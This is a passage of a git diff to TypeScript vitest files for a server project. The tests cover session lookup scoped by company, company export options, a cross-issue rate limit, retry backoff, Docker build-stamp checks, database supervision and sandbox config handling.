@@ -972,16 +1047,16 @@ describeEmbeddedPostgres("codex device login service concurrency (embedded postg
     });
 
     // The first login reaches the `promoting` claim and holds it.
-    await waitForStatus(store, first.session.sessionId, "promoting");
+    await waitForStatus(store, first.session.sessionId, companyId, "promoting");
 
-    // A second start for the same company and adapter conflicts on the active
-    // slot, even though the first login is mid-promotion.
+    // A second start for the same company, owner, and adapter conflicts on the
+    // active slot, even though the first login is mid-promotion.
     await expect(
       service.start({
         companyId,
         environmentId,
         adapterType: ADAPTER_TYPE,
-        startedByUserId: OWNER_B,
+        startedByUserId: OWNER_A,
       }),
     ).rejects.toBeInstanceOf(AdapterAuthSessionConflictError);
 
@@ -1003,6 +1078,7 @@ describeEmbeddedPostgres("codex device login service concurrency (embedded postg
       environmentId,
       adapterType: ADAPTER_TYPE,
       startedByUserId: OWNER_A,
+      publicSessionId: randomUUID(),
       providerLeaseId: `lease-${sessionId}`,
       status: "promoting",
       expiresAt: past,
@@ -1033,7 +1109,7 @@ describeEmbeddedPostgres("codex device login service concurrency (embedded postg
     const sectionActive = new Promise<void>((resolve) => {
       markSectionActive = resolve;
     });
-    const promotion = store.withCompanyAdapterPromotionLock(companyId, ADAPTER_TYPE, async () => {
+    const promotion = store.withCompanyAdapterPromotionLock(companyId, OWNER_A, ADAPTER_TYPE, async () => {
       markSectionActive();
       await sectionGate;
       // Decision H: the write proceeds only while the session still owns the slot.
@@ -1078,7 +1154,7 @@ describeEmbeddedPostgres("codex device login service concurrency (embedded postg
     // A delayed promotion now runs its section. The ownership check reads the
     // reclaimed row, so it writes no credential and the terminal claim fails.
     let wroteCredential = false;
-    await store.withCompanyAdapterPromotionLock(companyId, ADAPTER_TYPE, async () => {
+    await store.withCompanyAdapterPromotionLock(companyId, OWNER_A, ADAPTER_TYPE, async () => {
       const row = await store.get(sessionId);
       if (row?.status === "promoting" && row.companyId === companyId) {
         wroteCredential = true;
@@ -1122,8 +1198,8 @@ describeEmbeddedPostgres("codex device login service concurrency (embedded postg
       startedByUserId: OWNER_A,
       signal: controller.signal,
     });
-    const sessionId = started.session.sessionId;
-    await waitForStatus(store, sessionId, "starting");
+    const publicSessionId = started.session.sessionId;
+    await waitForStatus(store, publicSessionId, companyId, "starting");
 
     // The reaper reclaims the expired row and times it out.
     const { runtime: reaperRuntime } = createReaperRuntime();
@@ -1134,7 +1210,7 @@ describeEmbeddedPostgres("codex device login service concurrency (embedded postg
     });
     const sweep = await reaper.sweep();
     expect(sweep.expiredTimedOut).toBe(1);
-    expect((await store.get(sessionId))?.status).toBe("timed_out");
+    expect((await store.getByPublicId(publicSessionId, companyId))?.status).toBe("timed_out");
 
     // The delayed prompt arrives now. The conditional transition must not revive
     // the reaped row, and the owner must not read a prompt for it.
@@ -1142,12 +1218,94 @@ describeEmbeddedPostgres("codex device login service concurrency (embedded postg
     await new Promise((resolve) => setImmediate(resolve));
     await new Promise((resolve) => setImmediate(resolve));
 
-    const owner = await service.readOwnerSession(sessionId, OWNER_A);
-    expect((await store.get(sessionId))?.status).toBe("timed_out");
+    const owner = await service.readOwnerSession(publicSessionId, companyId, OWNER_A);
+    expect((await store.getByPublicId(publicSessionId, companyId))?.status).toBe("timed_out");
     expect(owner?.prompt ?? null).toBeNull();
 
     // End the run so no timer survives.
     controller.abort();
     await started.completed;
   });
+
+  describe("public session id lookup", () => {
+    // Start one session and read its rows. The service returns the public session
+    // id, and the store keeps the internal id private.
+    async function startOneSession(companyId: string, environmentId: string) {
+      const store = createDbAdapterAuthSessionStore(db);
+      const controller = new AbortController();
+      const { runtime } = createFakeRuntime({ exec: execHang });
+      const service = makeService({ store, runtime });
+      const started = await service.start({
+        companyId,
+        environmentId,
+        adapterType: ADAPTER_TYPE,
+        startedByUserId: OWNER_A,
+        signal: controller.signal,
+      });
+      const publicSessionId = started.session.sessionId;
+      const row = await store.getByPublicId(publicSessionId, companyId);
+      return { store, service, controller, started, publicSessionId, row };
+    }
+
+    it("reads a session by its public id in the same company", async () => {
+      const { companyId, environmentId } = await seedCompanyEnvironment();
+      const { store, controller, started, publicSessionId, row } = await startOneSession(
+        companyId,
+        environmentId,
+      );
+
+      // The lookup by the public id succeeds in the same company.
+      expect(row).not.toBeNull();
+      expect(row?.publicSessionId).toBe(publicSessionId);
+      // The internal primary-key id is a distinct value, never the public id.
+      expect(row?.id).toBeTruthy();
+      expect(row?.id).not.toBe(publicSessionId);
+      // The API-facing row read stays scoped: the same public id resolves the
+      // same row on a second read.
+      const again = await store.getByPublicId(publicSessionId, companyId);
+      expect(again?.id).toBe(row?.id);
+
+      controller.abort();
+      await started.completed;
+    });
+
+    it("does not read a session for a foreign company", async () => {
+      const { companyId, environmentId } = await seedCompanyEnvironment();
+      const { store, controller, started, publicSessionId } = await startOneSession(
+        companyId,
+        environmentId,
+      );
+
+      // A different company id never resolves the row, even with the exact public
+      // session id. The predicate carries the company id, so a query never keys on
+      // the public session id alone.
+      const foreignCompanyId = randomUUID();
+      expect(await store.getByPublicId(publicSessionId, foreignCompanyId)).toBeNull();
+
+      controller.abort();
+      await started.completed;
+    });
+
+    it("never accepts the internal row id as an API identifier", async () => {
+      const { companyId, environmentId } = await seedCompanyEnvironment();
+      const { store, service, controller, started, publicSessionId, row } =
+        await startOneSession(companyId, environmentId);
+      const internalId = row!.id;
+
+      // The store never resolves a row by the internal id through the public-id
+      // path, even within the same company.
+      expect(await store.getByPublicId(internalId, companyId)).toBeNull();
+
+      // The owner read returns the public session id, never the internal id.
+      const owner = await service.readOwnerSession(publicSessionId, companyId, OWNER_A);
+      expect(owner?.sessionId).toBe(publicSessionId);
+      expect(owner?.sessionId).not.toBe(internalId);
+
+      // The owner read rejects the internal id as an API identifier.
+      expect(await service.readOwnerSession(internalId, companyId, OWNER_A)).toBeNull();
+
+      controller.abort();
+      await started.completed;
+    });
+  });
 });
diff --git a/server/src/__tests__/company-portability.test.ts b/server/src/__tests__/company-portability.test.ts
index 494087e7045..a01036839ae 100644
--- a/server/src/__tests__/company-portability.test.ts
+++ b/server/src/__tests__/company-portability.test.ts
@@ -517,6 +517,7 @@ describe("company portability", () => {
         agents: true,
         projects: false,
         issues: false,
+        skills: true,
       },
     });
 
@@ -551,6 +552,25 @@ describe("company portability", () => {
     expect(exported.warnings).toContain("Agent claudecoder PATH override was omitted from export because it is system-dependent.");
   });
 
+  it("does not load or emit skills when agents are included but skills are disabled", async () => {
+    const portability = companyPortabilityService({} as any);
+
+    const exported = await portability.exportBundle("company-1", {
+      include: {
+        company: true,
+        agents: true,
+        projects: false,
+        issues: false,
+        skills: false,
+      },
+    });
+
+    expect(companySkillSvc.listFull).not.toHaveBeenCalled();
+    expect(Object.keys(exported.files).some((filePath) => filePath.startsWith("skills/"))).toBe(false);
+    expect(exported.manifest.skills).toEqual([]);
+    expect(asTextFile(exported.files["agents/claudecoder/AGENTS.md"])).toContain(`- "${paperclipKey}"`);
+  });
+
   it("exports agent permission grants through the Paperclip extension and manifest", async () => {
     const db = {
       select: vi.fn((selection: Record<string, unknown>) => ({
@@ -757,6 +777,7 @@ describe("company portability", () => {
         agents: true,
         projects: false,
         issues: false,
+        skills: true,
       },
       expandReferencedSkills: true,
     });
@@ -1023,6 +1044,7 @@ describe("company portability", () => {
         agents: true,
         projects: false,
         issues: false,
+        skills: true,
       },
     });
 
@@ -1075,6 +1097,79 @@ describe("company portability", () => {
 
     expect(preview.counts.issues).toBe(0);
     expect(preview.fileInventory.some((entry) => entry.path.startsWith("tasks/"))).toBe(false);
+    expect(preview.fileInventory.some((entry) => entry.path === "images/org-chart.png")).toBe(false);
+
+    const downloaded = await portability.exportBundle("company-1", {
+      include: {
+        company: true,
+        agents: true,
+        projects: true,
+        issues: false,
+      },
+    });
+    expect(downloaded.files["images/org-chart.png"]).toMatchObject({
+      encoding: "base64",
+      contentType: "image/png",
+    });
+  });
+
+  it("prefetches task export records with bounded concurrency", async () => {
+    const portability = companyPortabilityService({} as any);
+    const issues = ["issue-1", "issue-2", "issue-3"].map((id, index) => ({
+      id,
+      identifier: `PAP-${index + 1}`,
+      title: `Task ${index + 1}`,
+      description: null,
+      projectId: null,
+      projectWorkspaceId: null,
+      parentId: null,
+      assigneeAgentId: null,
+      status: "todo",
+      priority: "medium",
+      labelIds: [],
+      billingCode: null,
+      executionWorkspaceSettings: null,
+      assigneeAdapterOverrides: null,
+    }));
+    issueSvc.list.mockResolvedValue(issues);
+
+    let releaseFirstWave!: (comments: never[]) => void;
+    const firstWave = new Promise<never[]>((resolve) => {
+      releaseFirstWave = resolve;
+    });
+    issueSvc.listComments.mockImplementation(async (issueId: string) => {
+      if (issueId === "issue-1" || issueId === "issue-2") return firstWave;
+      return [];
+    });
+
+    const exportPromise = portability.exportBundle("company-1", {
+      include: {
+        company: true,
+        agents: false,
+        projects: false,
+        issues: true,
+        skills: false,
+      },
+    });
+
+    let waitError: unknown;
+    try {
+      await vi.waitFor(() => {
+        expect(issueSvc.listComments).toHaveBeenCalledTimes(2);
+      }, { timeout: 500 });
+      expect(issueSvc.listComments.mock.calls.map(([issueId]) => issueId)).toEqual([
+        "issue-1",
+        "issue-2",
+      ]);
+    } catch (error) {
+      waitError = error;
+    } finally {
+      releaseFirstWave([]);
+    }
+
+    await exportPromise;
+    if (waitError) throw waitError;
+    expect(issueSvc.listComments).toHaveBeenCalledTimes(3);
   });
 
   it("exports portable project workspace metadata and remaps it on import", async () => {
diff --git a/server/src/__tests__/cross-issue-influence-limit-postgres.test.ts b/server/src/__tests__/cross-issue-influence-limit-postgres.test.ts
index f9999eb505a..e2483120922 100644
--- a/server/src/__tests__/cross-issue-influence-limit-postgres.test.ts
+++ b/server/src/__tests__/cross-issue-influence-limit-postgres.test.ts
@@ -72,7 +72,7 @@ describeEmbeddedPostgres("cross-issue influence limit PostgreSQL serialization",
       contextSnapshot: { issueId: sourceIssueId },
     });
     await db.insert(activityLog).values(
-      Array.from({ length: 19 }, () => ({
+      Array.from({ length: 18 }, () => ({
         companyId,
         actorType: "agent" as const,
         actorId: agentId,
@@ -93,13 +93,18 @@ describeEmbeddedPostgres("cross-issue influence limit PostgreSQL serialization",
       kind: "comment" as const,
       now: CROSS_ISSUE_INFLUENCE_ENFORCE_AT,
     };
+    // A comment, a PATCH, and an issue-thread interaction resolution race for the
+    // last slot of the shared budget: the row lock must let exactly one of 19/20
+    // through per attempt and fail the twenty-first closed.
     const decisions = await Promise.all([
       observeCrossIssueInfluence(db, input),
       observeCrossIssueInfluence(db, { ...input, kind: "update" }),
+      observeCrossIssueInfluence(db, { ...input, kind: "interaction_resolution" }),
     ]);
 
-    expect(decisions.map((decision) => decision?.allowed).sort()).toEqual([false, true]);
-    expect(decisions.map((decision) => decision?.count).sort((a, b) => Number(a) - Number(b))).toEqual([20, 21]);
+    expect(decisions.map((decision) => decision?.allowed).sort()).toEqual([false, true, true]);
+    expect(decisions.map((decision) => decision?.count).sort((a, b) => Number(a) - Number(b)))
+      .toEqual([19, 20, 21]);
 
     const recorded = await db
       .select({ action: activityLog.action })
diff --git a/server/src/__tests__/cross-issue-influence-limit.test.ts b/server/src/__tests__/cross-issue-influence-limit.test.ts
index e6e42533f87..551957c32ac 100644
--- a/server/src/__tests__/cross-issue-influence-limit.test.ts
+++ b/server/src/__tests__/cross-issue-influence-limit.test.ts
@@ -106,7 +106,7 @@ describe("cross-issue influence limit rollout", () => {
     expect(capError.details.whoCanAct).toContain("Fable");
   });
 
-  it("uses one durable counter for cross-issue comments and PATCH updates", async () => {
+  it("uses one durable counter for cross-issue comments, PATCH updates, and interaction resolutions", async () => {
     const fake = counterDb();
     const base = {
       companyId: "22222222-2222-4222-8222-222222222222",
@@ -120,9 +120,32 @@ describe("cross-issue influence limit rollout", () => {
       .resolves.toMatchObject({ count: 1, allowed: true });
     await expect(observeCrossIssueInfluence(fake.db as never, { ...base, kind: "update" }))
       .resolves.toMatchObject({ count: 2, allowed: true });
+    await expect(observeCrossIssueInfluence(fake.db as never, { ...base, kind: "interaction_resolution" }))
+      .resolves.toMatchObject({ count: 3, allowed: true });
 
-    expect(fake.observedCount).toBe(2);
-    expect(fake.inserted.map((row) => (row.details as { kind: string }).kind)).toEqual(["comment", "update"]);
+    expect(fake.observedCount).toBe(3);
+    expect(fake.inserted.map((row) => (row.details as { kind: string }).kind))
+      .toEqual(["comment", "update", "interaction_resolution"]);
+  });
+
+  it("counts an interaction resolution against a budget already spent on comments", async () => {
+    const fake = counterDb(CROSS_ISSUE_INFLUENCE_LIMIT);
+
+    await expect(observeCrossIssueInfluence(fake.db as never, {
+      companyId: "22222222-2222-4222-8222-222222222222",
+      runId: "11111111-1111-4111-8111-111111111111",
+      agentId: "33333333-3333-4333-8333-333333333333",
+      targetIssueId: "55555555-5555-4555-8555-555555555555",
+      kind: "interaction_resolution",
+      now: CROSS_ISSUE_INFLUENCE_ENFORCE_AT,
+    })).resolves.toMatchObject({
+      allowed: false,
+      mode: "enforce",
+      count: CROSS_ISSUE_INFLUENCE_LIMIT + 1,
+    });
+    expect(fake.inserted).toEqual([
+      expect.objectContaining({ action: "issue.cross_issue_influence_cap_rejected" }),
+    ]);
   });
 
   it("does not count same-issue writes", async () => {
diff --git a/server/src/__tests__/dev-runner-worktree.test.ts b/server/src/__tests__/dev-runner-worktree.test.ts
index f3a29440ebd..5dd179edb58 100644
--- a/server/src/__tests__/dev-runner-worktree.test.ts
+++ b/server/src/__tests__/dev-runner-worktree.test.ts
@@ -36,6 +36,36 @@ describe("dev-runner worktree env bootstrap", () => {
     expect(isWorktreeSeedPending(root)).toBe(false);
   });
 
+  it("guards every manifest state except a complete verified manifest", () => {
+    const root = createTempRoot("paperclip-dev-runner-seed-manifest-");
+    const manifestPath = path.join(root, ".paperclip", "seed-manifest.json");
+    fs.mkdirSync(path.dirname(manifestPath), { recursive: true });
+    fs.writeFileSync(manifestPath, JSON.stringify({ version: 2, state: "failed" }), "utf8");
+    expect(isWorktreeSeedPending(root)).toBe(true);
+
+    fs.writeFileSync(manifestPath, JSON.stringify({ version: 2, state: "verified" }), "utf8");
+    expect(isWorktreeSeedPending(root)).toBe(true);
+
+    fs.writeFileSync(manifestPath, JSON.stringify({
+      version: 2,
+      source: { instanceId: "source", configPath: "/source/config.json" },
+      snapshotAt: "2026-08-18T00:00:00.000Z",
+      seedMode: "minimal",
+      migrationRevision: "0001",
+      targetInstanceId: "target",
+      phase: "complete",
+      state: "verified",
+      attemptId: "attempt",
+      startedAt: "2026-08-18T00:00:00.000Z",
+      finishedAt: "2026-08-18T00:01:00.000Z",
+      diagnostics: [{ phase: "complete", status: "succeeded", at: "2026-08-18T00:01:00.000Z" }],
+    }), "utf8");
+    expect(isWorktreeSeedPending(root)).toBe(false);
+
+    fs.writeFileSync(manifestPath, "not-json", "utf8");
+    expect(isWorktreeSeedPending(root)).toBe(true);
+  });
+
   it("detects linked git worktrees from .git files", () => {
     const root = createTempRoot("paperclip-dev-runner-worktree-");
     fs.writeFileSync(path.join(root, ".git"), "gitdir: /tmp/paperclip/.git/worktrees/feature\n", "utf8");
diff --git a/server/src/__tests__/disposition-repair.test.ts b/server/src/__tests__/disposition-repair.test.ts
new file mode 100644
index 00000000000..6d0b3ad5833
--- /dev/null
+++ b/server/src/__tests__/disposition-repair.test.ts
@@ -0,0 +1,74 @@
+import { describe, expect, it } from "vitest";
+import { ISSUE_RECOVERY_ACTION_KINDS } from "@paperclipai/shared";
+import { classifyContinuationFailure } from "../services/recovery/service.ts";
+import {
+  DISPOSITION_REPAIR_BASE_DELAYS_MS,
+  DISPOSITION_REPAIR_MAX_ATTEMPTS,
+  RECOVERY_OWNER_BASE_DELAYS_MS,
+  RECOVERY_OWNER_MAX_ATTEMPTS,
+  dispositionRepairDelayMs,
+  recoveryOwnerDelayMs,
+} from "../services/recovery/disposition-repair.ts";
+
+const deliberateWaitRun = {
+  id: "run-1",
+  agentId: "agent-1",
+  status: "cancelled" as const,
+  error: "Continuation parked",
+  errorCode: "issue_continuation_waiting_on_review",
+  contextSnapshot: {},
+  livenessState: null,
+  startedAt: new Date("2026-08-11T00:00:00.000Z"),
+  createdAt: new Date("2026-08-11T00:00:00.000Z"),
+};
+
+describe("owner-sticky disposition repair", () => {
+  it("classifies a deliberate wait without a target into its dedicated bounded lane", () => {
+    expect(ISSUE_RECOVERY_ACTION_KINDS).toContain("deliberate_wait_without_target");
+    expect(classifyContinuationFailure(deliberateWaitRun)).toEqual({
+      kind: "deliberate_wait_without_target",
+      maxAttempts: 5,
+      baseBackoffMs: 60_000,
+      errorCode: "issue_continuation_waiting_on_review",
+    });
+  });
+
+  it("uses the persisted five-attempt owner-sticky schedule with bounded deterministic jitter", () => {
+    const fingerprint = "disposition_repair:v1:example";
+    const timings = [1, 2, 3, 4, 5].map((attempt) => dispositionRepairDelayMs(attempt, fingerprint));
+
+    expect(DISPOSITION_REPAIR_MAX_ATTEMPTS).toBe(5);
+    expect(DISPOSITION_REPAIR_BASE_DELAYS_MS).toEqual([0, 60_000, 120_000, 240_000, 480_000]);
+    expect(timings[0]).toEqual({ baseDelayMs: 0, jitterMs: 0, delayMs: 0 });
+    expect(timings[1]?.baseDelayMs).toBe(60_000);
+    expect(timings[1]?.jitterMs).toBeGreaterThanOrEqual(0);
+    expect(timings[1]?.jitterMs).toBeLessThanOrEqual(6_000);
+    expect(timings[2]?.baseDelayMs).toBe(120_000);
+    expect(timings[2]?.jitterMs).toBeGreaterThanOrEqual(0);
+    expect(timings[2]?.jitterMs).toBeLessThanOrEqual(12_000);
+    expect(timings[3]?.baseDelayMs).toBe(240_000);
+    expect(timings[3]?.jitterMs).toBeLessThanOrEqual(24_000);
+    expect(timings[4]?.baseDelayMs).toBe(480_000);
+    expect(timings[4]?.jitterMs).toBeLessThanOrEqual(48_000);
+    expect(dispositionRepairDelayMs(2, fingerprint)).toEqual(timings[1]);
+    expect(() => dispositionRepairDelayMs(6, fingerprint)).toThrow(/Invalid disposition repair attempt/);
+  });
+
+  it("keeps recovery-owner retries separate and bounded", () => {
+    const fingerprint = "disposition_repair:v1:manager";
+    const timings = [1, 2, 3, 4, 5].map((attempt) => recoveryOwnerDelayMs(attempt, fingerprint));
+
+    expect(RECOVERY_OWNER_MAX_ATTEMPTS).toBe(5);
+    expect(RECOVERY_OWNER_BASE_DELAYS_MS).toEqual([0, 60_000, 120_000, 240_000, 480_000]);
+    expect(timings[0]).toEqual({ baseDelayMs: 0, jitterMs: 0, delayMs: 0 });
+    expect(timings[1]?.baseDelayMs).toBe(60_000);
+    expect(timings[1]?.jitterMs).toBeLessThanOrEqual(6_000);
+    expect(timings[2]?.baseDelayMs).toBe(120_000);
+    expect(timings[2]?.jitterMs).toBeLessThanOrEqual(12_000);
+    expect(timings[3]?.baseDelayMs).toBe(240_000);
+    expect(timings[3]?.jitterMs).toBeLessThanOrEqual(24_000);
+    expect(timings[4]?.baseDelayMs).toBe(480_000);
+    expect(timings[4]?.jitterMs).toBeLessThanOrEqual(48_000);
+    expect(() => recoveryOwnerDelayMs(6, fingerprint)).toThrow(/Invalid recovery owner attempt/);
+  });
+});
diff --git a/server/src/__tests__/docker-build-stamp.test.ts b/server/src/__tests__/docker-build-stamp.test.ts
new file mode 100644
index 00000000000..f013d30ec6f
--- /dev/null
+++ b/server/src/__tests__/docker-build-stamp.test.ts
@@ -0,0 +1,58 @@
+import { readFileSync } from "node:fs";
+import path from "node:path";
+import { fileURLToPath } from "node:url";
+import { describe, expect, it } from "vitest";
+
+/**
+ * Drift guard for the Docker build-stamp wiring.
+ *
+ * The server build runs scripts/write-build-stamp.mjs, which stamps the built
+ * commit into dist/build-info.json. The build context has no .git, so the
+ * script reads PAPERCLIP_BUILD_COMMIT instead. Docker exposes an ARG to the
+ * next RUN as an environment variable, but an ARG goes out of scope at the end
+ * of its stage. So the build stage must declare `ARG PAPERCLIP_BUILD_COMMIT`
+ * before the server build; the production ARG alone stamps nothing, because
+ * the server build already ran in the earlier stage.
+ *
+ * This guard fails if a refactor drops the build-stage ARG, moves it after the
+ * server build, or removes the build-arg the docker workflow passes.
+ */
+
+const repoRoot = path.resolve(path.dirname(fileURLToPath(import.meta.url)), "..", "..", "..");
+const dockerfile = readFileSync(path.join(repoRoot, "Dockerfile"), "utf8");
+const workflow = readFileSync(path.join(repoRoot, ".github", "workflows", "docker.yml"), "utf8");
+
+/**
+ * Return the text of the Dockerfile stage that starts at the named target.
+ * A stage runs from its `FROM ... AS <name>` line to the next `FROM` line.
+ */
+function stageBody(source: string, stageName: string): string {
+  const froms = [...source.matchAll(/^FROM .*$/gm)];
+  const startIdx = froms.findIndex((m) => new RegExp(`\\bAS ${stageName}\\b`).test(m[0]));
+  expect(startIdx, `Dockerfile must declare a '${stageName}' stage`).toBeGreaterThanOrEqual(0);
+  const start = froms[startIdx].index ?? 0;
+  const end = froms[startIdx + 1]?.index ?? source.length;
+  return source.slice(start, end);
+}
+
+describe("docker build-stamp wiring", () => {
+  it("declares PAPERCLIP_BUILD_COMMIT in the build stage before the server build", () => {
+    const build = stageBody(dockerfile, "build");
+    const argIdx = build.search(/^ARG PAPERCLIP_BUILD_COMMIT\b/m);
+    const serverBuildIdx = build.search(/^RUN pnpm --filter @paperclipai\/server build\b/m);
+    expect(argIdx, "build stage must declare ARG PAPERCLIP_BUILD_COMMIT").toBeGreaterThanOrEqual(0);
+    expect(serverBuildIdx, "build stage must run the server build").toBeGreaterThanOrEqual(0);
+    expect(
+      argIdx,
+      "ARG PAPERCLIP_BUILD_COMMIT must precede the server build so the stamp script reads it",
+    ).toBeLessThan(serverBuildIdx);
+  });
+
+  it("passes PAPERCLIP_BUILD_COMMIT as a build-arg for both image targets", () => {
+    const argLines = [...workflow.matchAll(/^\s*PAPERCLIP_BUILD_COMMIT=.*$/gm)];
+    expect(
+      argLines.length,
+      "the docker workflow must pass PAPERCLIP_BUILD_COMMIT for the production and cloud builds",
+    ).toBeGreaterThanOrEqual(2);
+  });
+});
diff --git a/server/src/__tests__/embedded-postgres-supervisor.test.ts b/server/src/__tests__/embedded-postgres-supervisor.test.ts
new file mode 100644
index 00000000000..6f1fcee809c
--- /dev/null
+++ b/server/src/__tests__/embedded-postgres-supervisor.test.ts
@@ -0,0 +1,61 @@
+import { EventEmitter } from "node:events";
+import { describe, expect, it, vi } from "vitest";
+import { createEmbeddedPostgresSupervisor, type SupervisedEmbeddedPostgres } from "../embedded-postgres-supervisor.js";
+
+function createInstance(startError?: Error) {
+  const process = new EventEmitter();
+  const instance: SupervisedEmbeddedPostgres = {
+    process,
+    start: vi.fn(async () => { if (startError) throw startError; }),
+    stop: vi.fn(async () => undefined),
+  };
+  return { instance, process };
+}
+
+describe("embedded PostgreSQL supervisor", () => {
+  it("restarts PostgreSQL after its managed child exits unexpectedly", async () => {
+    const initial = createInstance();
+    const replacement = createInstance();
+    const onRestarted = vi.fn();
+    const supervisor = createEmbeddedPostgresSupervisor({
+      initialInstance: initial.instance,
+      createInstance: () => replacement.instance,
+      restartDelaysMs: [0],
+      onRestarted,
+    });
+    initial.process.emit("exit", 137, "SIGKILL");
+    await supervisor.waitForRecovery();
+    expect(replacement.instance.start).toHaveBeenCalledOnce();
+    expect(supervisor.current()).toBe(replacement.instance);
+    expect(onRestarted).toHaveBeenCalledWith(1);
+  });
+
+  it("does not restart PostgreSQL during orderly shutdown", async () => {
+    const initial = createInstance();
+    const createReplacement = vi.fn(() => createInstance().instance);
+    const supervisor = createEmbeddedPostgresSupervisor({
+      initialInstance: initial.instance,
+      createInstance: createReplacement,
+      restartDelaysMs: [0],
+    });
+    await supervisor.shutdown();
+    expect(initial.instance.stop).toHaveBeenCalledOnce();
+    expect(createReplacement).not.toHaveBeenCalled();
+  });
+
+  it("bounds recovery attempts and reports the final failure", async () => {
+    const initial = createInstance();
+    const failures = [new Error("first"), new Error("second"), new Error("third")];
+    const onRecoveryExhausted = vi.fn();
+    const supervisor = createEmbeddedPostgresSupervisor({
+      initialInstance: initial.instance,
+      createInstance: () => createInstance(failures.shift()).instance,
+      restartDelaysMs: [0, 0, 0],
+      onRecoveryExhausted,
+    });
+    initial.process.emit("exit", 1, null);
+    await supervisor.waitForRecovery();
+    expect(onRecoveryExhausted).toHaveBeenCalledOnce();
+    expect(onRecoveryExhausted).toHaveBeenCalledWith(expect.objectContaining({ message: "third" }));
+  });
+});
diff --git a/server/src/__tests__/environment-config.test.ts b/server/src/__tests__/environment-config.test.ts
index 76923fe25ba..faa56777305 100644
--- a/server/src/__tests__/environment-config.test.ts
+++ b/server/src/__tests__/environment-config.test.ts
@@ -121,6 +121,45 @@ describe("environment config helpers", () => {
     });
   });
 
+  it("loads a strict fake sandbox config that still carries the removed streamAgentSessionOutput key and drops it", () => {
+    // Session-output streaming moved from an operator flag to the capability
+    // snapshot. The fake sandbox schema is `.strict()`, so an undeclared key
+    // would fail validation. A saved config that still carries the removed key
+    // must load, and the removed key must not reach the stored config.
+    const config = normalizeEnvironmentConfig({
+      driver: "sandbox",
+      config: {
+        provider: "fake",
+        image: "ubuntu:24.04",
+        streamAgentSessionOutput: true,
+      },
+    });
+
+    expect(config).toEqual({
+      provider: "fake",
+      image: "ubuntu:24.04",
+      reuseLease: false,
+    });
+    expect(config).not.toHaveProperty("streamAgentSessionOutput");
+  });
+
+  it("loads a plugin sandbox config that still carries the removed streamAgentSessionOutput key and drops it", () => {
+    // The plugin sandbox schema uses `.catchall`, so an unknown key passes
+    // through. The removed key must still drop, so no consumer reads a stale
+    // operator flag.
+    const config = normalizeEnvironmentConfig({
+      driver: "sandbox",
+      config: {
+        provider: "fake-plugin",
+        image: "fake:test",
+        streamAgentSessionOutput: true,
+      },
+    });
+
+    expect(config).not.toHaveProperty("streamAgentSessionOutput");
+    expect(config).toMatchObject({ provider: "fake-plugin", image: "fake:test" });
+  });
+
   it("parses a persisted sandbox environment into a typed driver config", () => {
     const parsed = parseEnvironmentDriverConfig({
       driver: "sandbox",
diff --git a/server/src/__tests__/environment-custom-image-routes.test.ts b/server/src/__tests__/environment-custom-image-routes.test.ts
index ae20e425261..82b8eda9d37 100644
--- a/server/src/__tests__/environment-custom-image-routes.test.ts
+++ b/server/src/__tests__/environment-custom-image-routes.test.ts
@@ -2,6 +2,7 @@ import express from "express";
 import request from "supertest";
 import { beforeEach, describe, expect, it, vi } from "vitest";
 import { environmentRoutes } from "../routes/environments.js";
+import { HttpError } from "../errors.js";
 import {
   environmentCustomImageTerminalConnectionRegistry,
   environmentCustomImageTerminalSessionStore,
@@ -40,6 +41,7 @@ const mockEnvironmentCustomImageService = vi.hoisted(() => ({
   finishSetupSession: vi.fn(),
   cancelSetupSession: vi.fn(),
   rollbackTemplate: vi.fn(),
+  relinkActiveTemplate: vi.fn(),
   disableTemplate: vi.fn(),
   cleanupExpiredSetupSessions: vi.fn(),
 }));
@@ -85,6 +87,9 @@ vi.mock("../services/environment-probe.js", () => ({
 }));
 
 vi.mock("../services/plugin-environment-driver.js", () => ({
+  // The runtime reads this published constant at import time. Mirror the real
+  // value so the mocked module keeps the same reusable-lease method contract.
+  REUSABLE_LEASE_WORKER_METHODS: ["environmentResumeLease", "environmentReleaseLease", "environmentDestroyLease"],
   listReadyPluginEnvironmentDrivers: vi.fn(async () => []),
   resolvePluginSandboxProviderDriverByKey: vi.fn(async () => null),
   validatePluginEnvironmentDriverConfig: vi.fn(async ({ config }) => config),
@@ -289,6 +294,10 @@ describe("environment customImage setup routes", () => {
       templateRef: "disabled-template-secret",
       status: "revoked",
     }));
+    mockEnvironmentCustomImageService.relinkActiveTemplate.mockResolvedValue({
+      template: createTemplate({ id: "template-1", templateRef: "relinked-template-secret" }),
+      classification: "knob_only",
+    });
   });
 
   it("starts a setup session, returns the live payload, and logs redacted details", async () => {
@@ -638,4 +647,78 @@ describe("environment customImage setup routes", () => {
     expect(activity).not.toContain("old-template-secret");
     expect(activity).not.toContain("disabled-template-secret");
   });
+
+  it("relinks the active template through the company-scoped route", async () => {
+    const res = await request(createApp(boardActor()))
+      .post("/api/environments/env-1/custom-image-template/relink?companyId=company-1")
+      .send({ confirmBootSourceDrift: true });
+
+    expect(res.status).toBe(200);
+    expect(res.body.classification).toBe("knob_only");
+    expect(mockEnvironmentCustomImageService.relinkActiveTemplate).toHaveBeenCalledWith({
+      environmentId: "env-1",
+      confirmBootSourceDrift: true,
+      actor: {
+        actorType: "user",
+        actorId: "user-1",
+        agentId: null,
+        runId: null,
+        agentApiKeyId: null,
+      },
+      companyId: "company-1",
+    });
+  });
+
+  it("defaults the confirmation flag to false and rejects unknown body keys", async () => {
+    const app = createApp(boardActor());
+    const withoutFlag = await request(app)
+      .post("/api/environments/env-1/custom-image-template/relink?companyId=company-1")
+      .send({});
+    expect(withoutFlag.status).toBe(200);
+    expect(mockEnvironmentCustomImageService.relinkActiveTemplate).toHaveBeenCalledExactlyOnceWith(
+      expect.objectContaining({ confirmBootSourceDrift: false }),
+    );
+
+    // The strict schema rejects unknown keys before the handler runs, so the
+    // relink service is never reached for the malformed body.
+    const unknownKey = await request(app)
+      .post("/api/environments/env-1/custom-image-template/relink?companyId=company-1")
+      .send({ confirmBootSourceDrift: false, unexpected: true });
+    expect(unknownKey.status).not.toBe(200);
+    expect(mockEnvironmentCustomImageService.relinkActiveTemplate).toHaveBeenCalledTimes(1);
+  });
+
+  it("propagates the drift conflict from the relink service", async () => {
+    mockEnvironmentCustomImageService.relinkActiveTemplate.mockImplementationOnce(async () => {
+      throw new HttpError(409, "Confirm the relink to keep the captured snapshot.", {
+        classification: "boot_source_drift",
+        driftedPaths: [{ path: "image", from: "fake:base", to: "fake:other" }],
+      });
+    });
+
+    const res = await request(createApp(boardActor()))
+      .post("/api/environments/env-1/custom-image-template/relink?companyId=company-1")
+      .send({});
+
